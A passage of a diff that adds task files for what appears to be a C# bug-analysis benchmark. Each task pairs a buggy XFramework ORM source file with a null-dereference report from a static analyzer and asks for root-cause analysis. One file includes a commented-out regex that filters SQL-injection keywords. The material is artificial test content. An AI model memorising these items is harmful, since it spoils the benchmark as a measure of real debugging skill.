+                else if (expression.NodeType == ExpressionType.Call) memberExpression = (expression as MethodCallExpression).Object as MemberExpression;
+
+                segs.Add(memberExpression.Member.Name);
+                expression = memberExpression.Expression;
+            }
+
+            // 如果读取
+            if (expression.NodeType == ExpressionType.Parameter) segs.Add(isDesciptor ? expression.Type.Name : (expression as ParameterExpression).Name);
+            if (expression.NodeType == ExpressionType.MemberAccess) segs.Add((expression as MemberExpression).Member.Name);
+
+            segs.Reverse();
+            string result = string.Join(".", segs);
+            return result;
+        }
+
+        #endregion
+
+        #region 列表扩展
+
+        /// <summary>
+        /// 取指定列表中符合条件的元素索引
+        /// </summary>
+        public static int IndexOf<T>(this IEnumerable<T> collection, Func<T, bool> predicate)
+        {
+            int i = -1;
+            foreach (T value in collection)
+            {
+                i++;
+                if (predicate(value)) return i;
+            }
+
+            return -1;
+        }
+
+        /// <summary>
+        /// 创建一个集合
+        /// </summary>
+        public static List<TResult> ToList<T, TResult>(this IEnumerable<T> collection, Func<T, TResult> selector)
+        {
+            return collection.Select(selector).ToList();
+        }
+
+        /// <summary>
+        /// 列表转换扩展
+        /// </summary>
+        public static List<TResult> ToList<T, TResult>(this IEnumerable<T> source, Func<T, TResult> selector, Func<T, bool> predicate = null)
+        {
+            if (predicate != null) source = source.Where(predicate);
+            return source.Select(selector).ToList();
+        }
+
+        /// <summary>
+        /// 根据页长计算总页码
+        /// </summary>
+        /// <param name="collection">数据集合</param>
+        /// <param name="pageSize">页码</param>
+        /// <returns></returns>
+        public static int Page<T>(this IEnumerable<T> collection, int pageSize)
+        {
+            int count = 0;
+            if ((collection as ICollection<T>) != null) count = (collection as ICollection<T>).Count;
+            else if ((collection as T[]) != null) count = (collection as T[]).Length;
+            else count = collection.Count();
+
+            int page = (count + pageSize - 1) / pageSize;
+            return page;
+        }
+
+        /// <summary>
+        /// 批量添加命令参数
+        /// </summary>
+        public static void AddRange(this IDataParameterCollection source, IEnumerable<IDbDataParameter> parameters)
+        {
+            if (parameters != null)
+            {
+                foreach (var p in parameters) source.Add(p);
+            }
+        }
+
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `memExp` last assigned on line 152 could be null and is dereferenced at line 153, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean XFrameworkExtensions.IsAnonymous(Expression)
+
+### File:
+net45/TZM.XFramework/Common/XFrameworkExtensions.cs
+
+### Key:
+XFrameworkExtensions.cs|IsAnonymous|NULL_DEREFERENCE
+
+### Node Key:
+5f6bc9a45b87a0bd98569135266c4d99
+
+### Hash:
+3acc963fad65cb093fd72241a905dd68
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0562/instruction.md b/inferredbugs-0562/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3a9951e0df4b52e86b6c37869c087442d8098176
--- /dev/null
+++ b/inferredbugs-0562/instruction.md
@@ -0,0 +1,643 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 28
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq.Expressions;
+
+namespace Riz.XFramework.Data
+{
+    /// <summary>
+    /// 表达式解析器基类，提供公共的表达式处理方式
+    /// </summary>
+    public class LinqExpressionVisitor : ExpressionVisitor
+    {
+        #region 私有字段
+
+        private AliasGenerator _aliasGenerator = null;
+        private Expression _expression = null;
+        private HashCollection<NavMember> _navMembers = null;
+
+        /// <summary>
+        /// SQL 构造器
+        /// </summary>
+        protected ISqlBuilder _builder = null;
+
+        /// <summary>
+        /// 方法解析器
+        /// </summary>
+        protected MethodCallExpressionVisitor _methodVisitor = null;
+
+        /// <summary>
+        /// 成员访问痕迹
+        /// </summary>
+        protected MemberVisitedStack _visitedStack = null;
+
+        //防SQL注入字符
+        //private static readonly Regex RegSystemThreats = 
+        //new Regex(@"\s?or\s*|\s?;\s?|\s?drop\s|\s?grant\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" +
+        //    @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?",
+        //    RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+        #endregion
+
+        #region 公开属性
+
+        /// <summary>
+        /// 即将解析的表达式
+        /// </summary>
+        public Expression Expression
+        {
+            get { return _expression; }
+        }
+
+        /// <summary>
+        /// 即将解析的表达式
+        /// </summary>
+        public ISqlBuilder SqlBuilder
+        {
+            get { return _builder; }
+        }
+
+        /// <summary>
+        /// 导航属性表达式列表
+        /// </summary>
+        public HashCollection<NavMember> NavMembers
+        {
+            get { return _navMembers; }
+        }
+
+        /// <summary>
+        /// 成员访问痕迹
+        /// </summary>
+        public MemberVisitedStack VisitedStack { get { return _visitedStack; } }
+
+        #endregion
+
+        #region 构造函数
+
+        /// <summary>
+        /// 初始化 <see cref="LinqExpressionVisitor"/> 类的新实例
+        /// </summary>
+        /// <param name="aliasGenerator">表别名解析器</param>
+        /// <param name="expression">将访问的表达式</param>
+        public LinqExpressionVisitor(AliasGenerator aliasGenerator, Expression expression)
+        {
+            _aliasGenerator = aliasGenerator;
+            _expression = expression;
+            _visitedStack = new MemberVisitedStack();
+            _navMembers = new HashCollection<NavMember>();
+        }
+
+        #endregion
+
+        #region 重写方法
+
+        /// <summary>
+        /// 将表达式所表示的SQL片断写入SQL构造器
+        /// </summary>
+        /// <param name="builder">SQL 语句生成器</param>
+        public virtual void Write(ISqlBuilder builder)
+        {
+            this.Initialize(builder);
+            if (_expression != null) this.Visit(_expression);
+        }
+
+        /// <summary>
+        /// 访问二元表达式
+        /// </summary>
+        /// <param name="node">二元表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitBinary(BinaryExpression node)
+        {
+            return this.VisitWithoutRemark(a => this.VisitBinaryImpl(node));
+        }
+
+        // 访问二元表达式
+        Expression VisitBinaryImpl(BinaryExpression b)
+        {
+            if (b == null) return b;
+
+            // array[0]
+            if (b.NodeType == ExpressionType.ArrayIndex) return this.Visit(b.Evaluate());
+
+            Expression left = b.Left.ReduceUnary();
+            Expression right = b.Right.ReduceUnary();
+            if (b.NodeType == ExpressionType.AndAlso || b.NodeType == ExpressionType.OrElse)
+            {
+                // expression maybe a.Name == "TAN" && a.Allowused
+                left = TryMakeBinary(b.Left);
+                right = TryMakeBinary(b.Right);
+
+                if (left != b.Left || right != b.Right)
+                {
+                    b = Expression.MakeBinary(b.NodeType, left, right);
+                    return this.Visit(b);
+                }
+            }
+
+            // 例： a.Name ?? "TAN"
+            if (b.NodeType == ExpressionType.Coalesce) return _methodVisitor.Visit(b, MethodCall.Coalesce);
+
+            // 例： a.Name == null
+            var constExpression = left as ConstantExpression ?? right as ConstantExpression;
+            if (constExpression != null && constExpression.Value == null) return _methodVisitor.Visit(b, MethodCall.EqualNull);
+
+            // 例： a.Name == a.FullName  or like a.Name == "TAN"
+            return this.VisitBinary_Condition(b);
+        }
+
+        /// <summary>
+        /// 访问包含条件运算符的表达式
+        /// </summary>
+        /// <param name="node">要访问的表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitConditional(ConditionalExpression node)
+        {
+            // 例： a.Name == null ? "TAN" : a.Name => CASE WHEN a.Name IS NULL THEN 'TAN' ELSE a.Name End
+
+            Expression testExpression = this.TryMakeBinary(node.Test);
+
+            _builder.Append("(CASE WHEN ");
+            this.Visit(testExpression);
+            _builder.Append(" THEN ");
+            this.Visit(node.IfTrue);
+            _builder.Append(" ELSE ");
+            this.Visit(node.IfFalse);
+            _builder.Append(" END)");
+
+            return node;
+        }
+
+        /// <summary>
+        /// 访问常量表达式
+        /// </summary>
+        /// <param name="c">常量表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitConstant(ConstantExpression c)
+        {
+            //fix# char ~~，because expression tree converted char type 2 int.
+            if (c != null && c.Value != null)
+            {
+                var m = _visitedStack.Current;
+                bool isChar = m != null && (m.DataType == typeof(char) || m.DataType == typeof(char?)) && c.Type == typeof(int);
+                if (isChar)
+                {
+                    char @char = Convert.ToChar(c.Value);
+                    c = Expression.Constant(@char, typeof(char));
+                }
+            }
+
+            _builder.Append(c.Value, _visitedStack.Current);
+            return c;
+        }
+
+        /// <summary>
+        /// 访问字段或者属性表达式
+        /// </summary>
+        /// <param name="node">字段或者成员表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitMember(MemberExpression node)
+        {
+            // 1.<>h__TransparentIdentifier3.b.Client.ClientName
+            // 2.<>h__TransparentIdentifier3.b.Client.ClientName.Length
+            // 3.<>h__TransparentIdentifier3.b.Client.Address.AddressName
+            // 4.<>h__TransparentIdentifier3.b.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.Client.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.Client.Address.AddressName
+            // 5.b.ClientName
+
+
+            if (node == null) return node;
+            // => a.ActiveDate == DateTime.Now  => a.State == (byte)state
+            if (node.CanEvaluate()) return this.VisitConstant(node.Evaluate());
+            // => DateTime.Now
+            if (node.Type == typeof(DateTime) && node.Expression == null) return _methodVisitor.Visit(node, MethodCall.MemberMember);
+            // => a.Nullable.Value
+            bool isNullable = node.Expression.Type.IsGenericType && node.Member.Name == "Value" && node.Expression.Type.GetGenericTypeDefinition() == typeof(Nullable<>);
+            if (isNullable)
+            {
+                this.Visit(node.Expression);
+                return node;
+            }
+
+            // 记录访问成员栈
+            _visitedStack.Add(node);
+
+            // => a.Name.Length
+            if (TypeUtils.IsPrimitiveType(node.Expression.Type)) return _methodVisitor.Visit(node, MethodCall.MemberMember);
+            // => <>h__3.b.ClientName
+            if (!node.Expression.Visitable())
+            {
+                _builder.AppendMember(_aliasGenerator, node);
+                return node;
+            }
+            // => a.Accounts[0].Markets[0].MarketId
+            // => b.Client.Address.AddressName
+            Expression objExpression = node.Expression;
+            bool isMethodCall = objExpression != null && objExpression.NodeType == ExpressionType.Call;
+            if (isMethodCall)
+            {
+                MethodCallExpression methodExpression = objExpression as MethodCallExpression;
+                bool isIndex = methodExpression.IsCollectionIndex();
+                if (isIndex) objExpression = methodExpression.Object;
+            }
+            // => b.Client.Address.AddressName
+            this.VisitNavMember(objExpression, TypeUtils.GetFieldName(node.Member, node.Expression.Type));
+
+            return node;
+        }
+
+        /// <summary>
+        /// 访问方法表达式
+        /// </summary>
+        /// <param name="node">方法表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitMethodCall(MethodCallExpression node)
+        {
+            // => List<int>[]
+            if (node.CanEvaluate()) return this.VisitConstant(node.Evaluate());
+            return _methodVisitor.Visit(node, MethodCall.MethodCall);
+        }
+
+        /// <summary>
+        /// 访问一元表达式
+        /// </summary>
+        /// <param name="u">一元表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitUnary(UnaryExpression u)
+        {
+            return _methodVisitor.Visit(u, MethodCall.Unary);
+        }
+
+        /// <summary>
+        /// 访问表达式树后自动删掉访问的成员痕迹
+        /// </summary>
+        /// <param name="visit">访问委托</param>
+        protected void VisitWithoutRemark(Action<object> visit)
+        {
+            int visitedQty = _visitedStack.Count;
+            visit(null);
+            if (_visitedStack.Count != visitedQty) _visitedStack.Remove(_visitedStack.Count - visitedQty);
+        }
+
+        /// <summary>
+        /// 访问表达式树后自动删掉访问的成员痕迹
+        /// </summary>
+        /// <param name="visit">访问实现</param>
+        /// <returns></returns>
+        public Expression VisitWithoutRemark(Func<object, Expression> visit)
+        {
+            int visitedQty = _visitedStack.Count;
+            var newNode = visit(null);
+            if (_visitedStack.Count != visitedQty) _visitedStack.Remove(_visitedStack.Count - visitedQty);
+            return newNode;
+        }
+
+        #endregion
+
+        #region 私有函数
+
+        /// <summary>
+        /// 访问二元表达式
+        /// </summary>
+        /// <param name="b">二元表达式</param>
+        /// <returns></returns>
+        protected virtual Expression VisitBinary_Condition(BinaryExpression b)
+        {
+            // 例： a.Name == a.FullName 
+            // or like a.Name == "TAN"
+
+            if (b == null) return b;
+            // 取模运算
+            else if (b.NodeType == ExpressionType.Modulo) return _methodVisitor.Visit(b, MethodCall.BinaryCall);
+            // 除法运算
+            else if (b.NodeType == ExpressionType.Divide) return _methodVisitor.Visit(b, MethodCall.BinaryCall);
+            // 字符相加
+            else if (b.NodeType == ExpressionType.Add && b.Type == typeof(string)) return _methodVisitor.Visit(b, MethodCall.BinaryCall);
+            else
+            {
+                // 常量表达式放在右边，以充分利用 MemberVisitedMark
+                string oper = this.GetOperator(b);
+                bool use = this.UseBracket(b, b.Left);
+
+                if (use) _builder.Append('(');
+                this.Visit(b.Left);
+                if (use) _builder.Append(')');
+
+                _builder.Append(oper);
+
+                bool use2 = this.UseBracket(b, b.Right);
+                if (use2) _builder.Append('(');
+                this.Visit(b.Right);
+                if (use2) _builder.Append(')');
+
+                return b;
+            }
+        }
+
+        /// <summary>
+        /// 访问导航属性
+        /// </summary>
+        /// <param name="expression">导航属性表达式</param>
+        /// <param name="memberName">成员名称</param>
+        /// <returns></returns>
+        protected virtual string VisitNavMember(Expression expression, string memberName = null)
+        {
+            // 表达式 => b.Client.Address.AddressName
+            Expression node = expression;
+            Stack<NavMember> stack = null;
+            string alias = string.Empty;
+            while (node != null && node.Visitable())
+            {
+                if (node.NodeType != ExpressionType.MemberAccess) break;
+
+                if (stack == null) stack = new Stack<NavMember>();
+                var member = node as MemberExpression;
+
+                var typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(member.Expression.Type);
+                ForeignKeyAttribute attribute = typeRuntime.GetMemberAttribute<ForeignKeyAttribute>(member.Member.Name);
+
+                string key = member.GetKeyWidthoutAnonymous();
+                stack.Push(new NavMember(key, member));
+                node = member.Expression;
+                if (node.NodeType == ExpressionType.Call) node = (node as MethodCallExpression).Object;
+            }
+
+            if (stack != null && stack.Count > 0)
+            {
+                while (stack != null && stack.Count > 0)
+                {
+                    NavMember nav = stack.Pop();
+                    Type type = nav.Expression.Type;
+                    if (type.IsGenericType) type = type.GetGenericArguments()[0];
+
+                    var typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(type);
+                    // 检查表达式是否由 GetTable<,>(path) 显式指定过别名
+                    alias = _aliasGenerator.GetGetTableAlias(nav.Key);
+                    if (string.IsNullOrEmpty(alias))
+                    {
+                        // 如果没有，检查查询表达式是否显示指定该表关联
+                        alias = _aliasGenerator.GetJoinTableAlias(typeRuntime.TableName);
+                    }
+                    if (string.IsNullOrEmpty(alias))
+                    {
+                        // 如果没有，则使用导航属性别名
+                        alias = _aliasGenerator.GetNavTableAlias(nav.Key);
+                        if (!_navMembers.Contains(nav.Key)) _navMembers.Add(nav);
+                    }
+
+                    // 例： a.Client.ClientId
+                    if (stack.Count == 0 && !string.IsNullOrEmpty(memberName)) _builder.AppendMember(alias, memberName);
+                }
+            }
+            else
+            {
+                // => SelectMany 也会产生类似 'b.Client.Address.AddressName' 这样的表达式
+                alias = _aliasGenerator.GetTableAlias(expression);
+                _builder.AppendMember(alias, memberName);
+            }
+
+            // Fix issue# Join 表达式显式指定导航属性时时，alias 为空
+            return alias;
+        }
+
+        /// <summary>
+        /// 尝试将一元表达式转换成二元表达式，如 TRUE=>1 == 1
+        /// </summary>
+        /// <param name="expression">将要转换的表达式</param>
+        /// <returns></returns>
+        protected virtual Expression TryMakeBinary(Expression expression)
+        {
+            if (expression.Type != typeof(bool)) return expression;
+            //else if (expression.NodeType == ExpressionType.Constant && ignoreConst) return expression;
+
+            Expression left = null;
+            Expression right = null;
+
+            if (expression.NodeType == ExpressionType.Constant)
+            {
+                // true => 1=2
+                left = Expression.Constant(1);
+                right = Expression.Constant(Convert.ToBoolean(((ConstantExpression)expression).Value) ? 1 : 2);
+            }
+            else if (expression.NodeType == ExpressionType.MemberAccess)
+            {
+                // a.FieldName => a.FieldName = 1
+                left = expression;
+                right = Expression.Constant(true);
+            }
+            else if (expression.NodeType == ExpressionType.Not)
+            {
+                var unaryExpression = expression as UnaryExpression;
+                if (unaryExpression.Operand.NodeType == ExpressionType.MemberAccess)
+                {
+                    // !a.FieldName => a.FieldName = 0
+                    left = ((UnaryExpression)expression).Operand;
+                    right = Expression.Constant(false);
+                }
+            }
+
+            if (left != null)
+                expression = Expression.MakeBinary(ExpressionType.Equal, left, right);
+            return expression;
+        }
+
+        /// <summary>
+        /// 使用 SqlBuilder 初始化
+        /// </summary>
+        /// <param name="builder"></param>
+        protected virtual void Initialize(ISqlBuilder builder)
+        {
+            _builder = builder;
+            var context = _builder.TranslateContext.DbContext;
+            if (_methodVisitor == null)
+                _methodVisitor = context.Provider.CreateMethodCallVisitor(this);
+        }
+
+        // 获取二元表达式对应的操作符
+        string GetOperator(BinaryExpression b)
+        {
+            string opr = string.Empty;
+            switch (b.NodeType)
+            {
+                case ExpressionType.Equal:
+                    opr = " = ";
+                    break;
+                case ExpressionType.NotEqual:
+                    opr = " <> ";
+                    break;
+                case ExpressionType.GreaterThan:
+                    opr = " > ";
+                    break;
+                case ExpressionType.GreaterThanOrEqual:
+                    opr = " >= ";
+                    break;
+                case ExpressionType.LessThan:
+                    opr = " < ";
+                    break;
+                case ExpressionType.LessThanOrEqual:
+                    opr = " <= ";
+                    break;
+                case ExpressionType.And:
+                case ExpressionType.AndAlso:
+                    opr = b.Type == typeof(bool) ? " AND " : " & ";
+                    break;
+                case ExpressionType.Or:
+                case ExpressionType.OrElse:
+                    opr = b.Type == typeof(bool) ? " OR " : " | ";
+                    break;
+                case ExpressionType.Add:
+                case ExpressionType.AddChecked:
+                    opr = " + ";
+                    break;
+                case ExpressionType.Subtract:
+                case ExpressionType.SubtractChecked:
+                    opr = " - ";
+                    break;
+                case ExpressionType.Multiply:
+                case ExpressionType.MultiplyChecked:
+                    opr = " * ";
+                    break;
+                case ExpressionType.Divide:
+                    opr = " / ";
+                    break;
+                case ExpressionType.Modulo:
+                    opr = " % ";
+                    break;
+                case ExpressionType.Coalesce:
+                    opr = "ISNULL";
+                    break;
+                default:
+                    throw new NotSupportedException(string.Format("{0} is not supported.", b.NodeType));
+            }
+
+            return opr;
+        }
+
+        // 判断是否需要括号
+        bool UseBracket(Expression expression, Expression subExpression = null)
+        {
+            if (subExpression != null)
+            {
+                var unary = subExpression as UnaryExpression;
+                if (unary != null) return this.UseBracket(expression, unary.Operand);
+
+                var invocation = subExpression as InvocationExpression;
+                if (invocation != null) return this.UseBracket(expression, invocation.Expression);
+
+                var lambda = subExpression as LambdaExpression;
+                if (lambda != null) return this.UseBracket(expression, lambda.Body);
+
+                var b = subExpression as BinaryExpression;
+                if (b != null)
+                {
+                    if (expression.NodeType == ExpressionType.OrElse)
+                        return true;
+                }
+            }
+
+            return this.GetPriority(expression) < this.GetPriority(subExpression);
+        }
+
+        // 获取表达式优先级
+        int GetPriority(Expression expression)
+        {
+            switch (expression.NodeType)
+            {
+                case ExpressionType.Add:
+                case ExpressionType.AddChecked:
+                case ExpressionType.ExclusiveOr:
+                case ExpressionType.Subtract:
+                case ExpressionType.SubtractChecked:
+                    return 3;
+                case ExpressionType.And:
+                    return expression.Type == typeof(bool) ? 6 : 3;
+                case ExpressionType.AndAlso:
+                    return 6;
+                case ExpressionType.Divide:
+                case ExpressionType.Modulo:
+                case ExpressionType.Multiply:
+                case ExpressionType.MultiplyChecked:
+                    return 2;
+                case ExpressionType.Equal:
+                case ExpressionType.GreaterThan:
+                case ExpressionType.GreaterThanOrEqual:
+                case ExpressionType.LessThan:
+                case ExpressionType.LessThanOrEqual:
+                case ExpressionType.NotEqual:
+                    return 4;
+                case ExpressionType.Not:
+                    return expression.Type == typeof(bool) ? 5 : 1;
+                case ExpressionType.Or:
+                    return expression.Type == typeof(bool) ? 7 : 3;
+                case ExpressionType.OrElse:
+                    return 7;
+                default:
+                    return 0;
+            }
+        }
+
+        #endregion
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `member` last assigned on line 355 could be null and is dereferenced at line 357, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+String LinqExpressionVisitor.VisitNavMember(Expression,String)
+
+### File:
+src/Riz.XFramework/Data/ExpressionVisitor/LinqExpressionVisitor.cs
+
+### Key:
+LinqExpressionVisitor.cs|VisitNavMember|NULL_DEREFERENCE
+
+### Node Key:
+5f6bc9a45b87a0bd98569135266c4d99
+
+### Hash:
+bc94f6de1ace235e65d0388ef1bc0077
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0563/instruction.md b/inferredbugs-0563/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..301837635fa83138bbe81885e9e8c7a885e0b322
--- /dev/null
+++ b/inferredbugs-0563/instruction.md
@@ -0,0 +1,110 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 17
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq.Expressions;
+
+namespace TZM.XFramework.Data
+{
+    /// <summary>
+    /// UPDATE 表达式解析器
+    /// </summary>
+    public class OracleUpdateExpressionVisitor : ExpressionVisitorBase
+    {
+        private IDbQueryProvider _provider = null;
+        private TableAliasCache _aliases = null;
+
+        /// <summary>
+        /// 初始化 <see cref="OracleUpdateExpressionVisitor"/> 类的新实例
+        /// </summary>
+        public OracleUpdateExpressionVisitor(IDbQueryProvider provider, TableAliasCache aliases, Expression exp)
+            : base(provider, aliases, exp)
+        {
+            _provider = provider;
+            _aliases = aliases;
+        }
+
+        //{new App() {Id = p.Id}} 
+        protected override Expression VisitMemberInit(MemberInitExpression node)
+        {
+            if (node.Bindings.Count == 0) throw new XFrameworkException("Update<T>(Expression<Func<T, T>> action, Expression<Func<T, bool>> predicate) at least update one member.");
+
+            for (int index = 0; index < node.Bindings.Count; ++index)
+            {
+                MemberAssignment member = node.Bindings[index] as MemberAssignment;
+                _builder.AppendMember(member.Member.Name);
+                _builder.Append(" = ");
+
+                if (member.Expression.CanEvaluate())
+                    _builder.Append(member.Expression.Evaluate().Value, member.Member, node.Type);
+                else
+                    base.Visit(member.Expression);
+
+                if (index < node.Bindings.Count - 1)
+                {
+                    _builder.Append(",");
+                    _builder.AppendNewLine();
+                }
+            }
+            return node;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `member` last assigned on line 30 could be null and is dereferenced at line 31, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression OracleUpdateExpressionVisitor.VisitMemberInit(MemberInitExpression)
+
+### File:
+net45/TZM.XFramework.Oracle/Data/ExpressionVisitor/OracleUpdateExpressionVisitor.cs
+
+### Key:
+OracleUpdateExpressionVisitor.cs|VisitMemberInit|NULL_DEREFERENCE
+
+### Node Key:
+91b8c216590cdce695b1f86e7c48e6c5
+
+### Hash:
+df850f02c125984bc4602ac8f5e79e05
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0564/instruction.md b/inferredbugs-0564/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..544fc8a367fab75036335a9561ff771519bcd8e2
--- /dev/null
+++ b/inferredbugs-0564/instruction.md
@@ -0,0 +1,143 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Linq.Expressions;
+
+namespace ICS.XFramework.Data
+{
+    /// <summary>
+    /// UPDATE 表达式解析器
+    /// </summary>
+    public class UpdateExpressionVisitor : ExpressionVisitorBase
+    {
+        private IDbQueryProvider _provider = null;
+        private TableAliasCache _aliases = null;
+
+        /// <summary>
+        /// 初始化 <see cref="UpdateExpressionVisitor"/> 类的新实例
+        /// </summary>
+        public UpdateExpressionVisitor(IDbQueryProvider provider, TableAliasCache aliases, Expression exp)
+            : base(provider, aliases, exp)
+        {
+            _provider = provider;
+            _aliases = aliases;
+        }
+
+        //{new App() {Id = p.Id}} 
+        protected override Expression VisitMemberInit(MemberInitExpression node)
+        {
+            if (node.Bindings.Count == 0) throw new XFrameworkException("Update<T>(Expression<Func<T, T>> action, Expression<Func<T, bool>> predicate) at least update one member.");
+
+            for (int index = 0; index < node.Bindings.Count; ++index)
+            {
+                MemberAssignment member = node.Bindings[index] as MemberAssignment;
+                _builder.AppendMember("t0", member.Member.Name);
+                _builder.Append(" = ");
+
+                if (member.Expression.CanEvaluate())
+                    _builder.Append(member.Expression.Evaluate().Value, member.Member, node.Type);
+                //base.VisitConstant(member.Expression.Evaluate(), member.Member);
+                else
+                    base.Visit(member.Expression);
+
+                if (index < node.Bindings.Count - 1)
+                {
+                    _builder.Append(",");
+                    _builder.AppendNewLine();
+                }
+            }
+            return node;
+        }
+
+        protected override Expression VisitNew(NewExpression node)
+        {
+            // 匿名类的New
+            if (node == null) return node;
+            if (node.Arguments == null || node.Arguments.Count == 0)
+                throw new XFrameworkException("'NewExpression' do not have any argument.");
+
+            for (int index = 0; index < node.Arguments.Count; index++)
+            {
+                Expression argument = node.Arguments[index];
+                Type type = argument.Type;
+
+                var member = node.Members[index];
+                _builder.AppendMember("t0", member.Name);
+                _builder.Append(" = ");
+
+                if (node.Arguments[index].CanEvaluate())
+                    _builder.Append(node.Arguments[index].Evaluate().Value, member, node.Type);
+                else
+                    base.Visit(node.Arguments[index]);
+
+                if (index < node.Arguments.Count - 1)
+                {
+                    _builder.Append(",");
+                    _builder.AppendNewLine();
+                }
+            }
+
+            return node;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `member` last assigned on line 31 could be null and is dereferenced at line 32, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression UpdateExpressionVisitor.VisitMemberInit(MemberInitExpression)
+
+### File:
+net45/ICS.XFramework/Data/ExpressionVisitor/UpdateExpressionVisitor.cs
+
+### Key:
+UpdateExpressionVisitor.cs|VisitMemberInit|NULL_DEREFERENCE
+
+### Node Key:
+91b8c216590cdce695b1f86e7c48e6c5
+
+### Hash:
+ca68bae44360dc2f736535b6624c50e9
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0565/instruction.md b/inferredbugs-0565/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6c5d3d8ee7ce8fb5b3197b945cfd31591efaaf6a
--- /dev/null
+++ b/inferredbugs-0565/instruction.md
@@ -0,0 +1,553 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq.Expressions;
+
+namespace TZM.XFramework.Data
+{
+    /// <summary>
+    /// 表达式解析器基类，提供公共的表达式处理方式
+    /// </summary>
+    public class ExpressionVisitorBase : ExpressionVisitor
+    {
+        #region 私有字段
+
+        private IDbQueryProvider _provider = null;
+        private TableAliasCache _aliases = null;
